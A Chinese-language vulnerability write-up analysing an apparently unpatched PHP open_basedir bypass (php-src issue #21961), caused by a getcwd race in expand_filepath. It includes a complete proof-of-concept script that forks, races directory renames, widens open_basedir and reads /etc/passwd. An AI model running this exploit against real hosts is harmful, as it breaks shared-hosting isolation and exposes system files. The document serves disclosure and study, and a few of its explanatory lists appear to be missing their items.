作者:秋风
感谢我的好朋友LamentXU 看到这个issues分享给我 嘻嘻
https://github.com/php/php-src/issues/21961

范围 | 版本 |
引入 | PHP 5.2.5 (2007-11-08),提交 00922630305f |
影响 | PHP 5.2.5 ~ 当前所有版本(5.3.x、5.4.x、5.5.x、5.6.x、7.0~7.4、8.0~8.5、master) |
修复 | 尚未合并(PR #21962 状态为 Open) |
漏洞代码存在约 19 年,从 2007 年到现在的所有 PHP 版本均受影响。
利用条件
1.open_basedir 已配置 — 目标 PHP 环境通过 php.ini 或 vhost 设置了 open_basedir 限制
2.可执行任意 PHP 代码 — 攻击者能在受限环境中运行 PHP 脚本(典型场景:共享主机)
3.pcntl_fork() 可用 — 需要 pcntl 扩展来创建子进程实施竞态(CLI 模式默认加载该扩展)
4.Linux 系统 — MAXPATHLEN=4096;macOS 上为 1024,需调整目录深度参数
5.可写目录 — 需要在 open_basedir 允许的路径内拥有写权限以创建深层目录结构
ini_set('open_basedir', '....:../')→ OnUpdateBaseDir()→ expand_filepath("../", ...)→ VCWD_GETCWD() ← 被竞态导致失败→ 回退逻辑: VCWD_OPEN("../") 成功 → 返回未解析的 "../"→ php_check_open_basedir_ex("../") ← "../" 被错误判定为合法子路径→ open_basedir 被追加 "../"
<?phperror_reporting(0);echo "=== PHP open_basedir Bypass PoC (php-src#21961) ===\n";echo "PHP Version: " . phpversion() . "\n";echo "open_basedir: " . ini_get("open_basedir") . "\n\n";echo "[*] 正常情况下读取 /etc/passwd:\n";$test = @file_get_contents("/etc/passwd");echo $test ? "成功(不应出现)\n" : "失败: open_basedir 限制生效\n";echo "\n";echo "[*] 开始利用竞态条件绕过 open_basedir...\n";chdir("/tmp");@mkdir("poc/");chdir("poc/");$magic_depth = str_repeat(str_repeat("a", 249) . "/", 16);@mkdir($magic_depth, 0755, true);chdir($magic_depth);$pid = pcntl_fork();if ($pid == -1) die("fork 失败\n");if ($pid == 0) {for ($i = 0; $i < 20; $i++) {$cur = @ini_get("open_basedir");@ini_set("open_basedir", $cur . ":../");}@chdir("/tmp");@chdir("../");$passwd = @file_get_contents("etc/passwd");if (!$passwd) {echo "[-] 本次未命中竞态窗口\n";exit(1);}echo "[+] 绕过成功!当前 open_basedir 已被拓宽至根目录\n";echo "[+] /etc/passwd 内容(前5行):\n\n";$lines = explode("\n", $passwd);for ($i = 0; $i < min(5, count($lines)); $i++) {echo " " . $lines[$i] . "\n";}echo " ...\n";exit(0);} else {chdir("/tmp");for ($i = 0; $i < 3000; $i++) {@rename("poc", str_repeat("x", 250));@rename(str_repeat("x", 250), "poc");}pcntl_waitpid($pid, $status);}
第一步:构造超长工作目录路径
$magic_depth = str_repeat(str_repeat("a", 249) . "/", 16);// 每层 250 字节 × 16 层 = 4000 字节,接近 MAXPATHLEN(4096)mkdir($magic_depth, 0755, true);chdir($magic_depth);
子进程的工作目录路径变为 /tmp/poc/aaa...a/aaa...a/.../aaa...a(约 4000+ 字节)。
第二步:竞态触发 getcwd() 失败
父进程反复重命名顶层目录:
// 父进程 rename("poc", str_repeat("x", 250)); // 目录名从 3 字节 → 250 字节 rename(str_repeat("x", 250), "poc"); // 恢复原名
当目录名从 poc(3 字节)被改为 xxx...x(250 字节)时:
第三步:expand_filepath() 的错误回退
main/fopen_wrappers.c 第 809-828 行
result = VCWD_GETCWD(cwd, MAXPATHLEN); // ← 失败,result = NULLif (!result && (iam != filepath)) {fdtest = VCWD_OPEN(filepath, O_RDONLY); // 用相对路径 "../" 尝试打开if (fdtest != -1) {// 直接返回未解析的相对路径 "../"memcpy(real_path, filepath, copy_len);return real_path; // ← 返回 "../" 而非绝对路径}}
关键问题:
第四步:绕过 open_basedir 检查
// OnUpdateBaseDir() 中expand_filepath("../", resolved_name); // resolved_name = "../"php_check_open_basedir_ex("../", 0); // "../" 被判定为当前目录的子路径 → 检查通过!
php_check_open_basedir_ex() 对 "../" 做前缀匹配时:
第五步:逐级提升目录权限
for ($i = 0; $i < 20; $i++) {ini_set("open_basedir", ini_get("open_basedir") . ":../");}
每次循环追加一个 ../,积累足够的 ../ 后:
chdir("/tmp");chdir("../"); // 当前目录变为 /file_get_contents("etc/passwd"); // 成功读取 /etc/passwd
时间线├─ 父进程: rename("poc" → "xxx...x") ← 工作目录路径超长│ ││ ├─ 子进程: VCWD_GETCWD() 失败! ← 命中竞态窗口│ │├─ 父进程: rename("xxx...x" → "poc") ← 工作目录路径恢复│ ││ ├─ 子进程: VCWD_OPEN("../") 成功 ← 文件可访问│ ├─ 子进程: expand_filepath 返回 "../"│ ├─ 子进程: open_basedir 检查通过│├─ 重复 3000 次...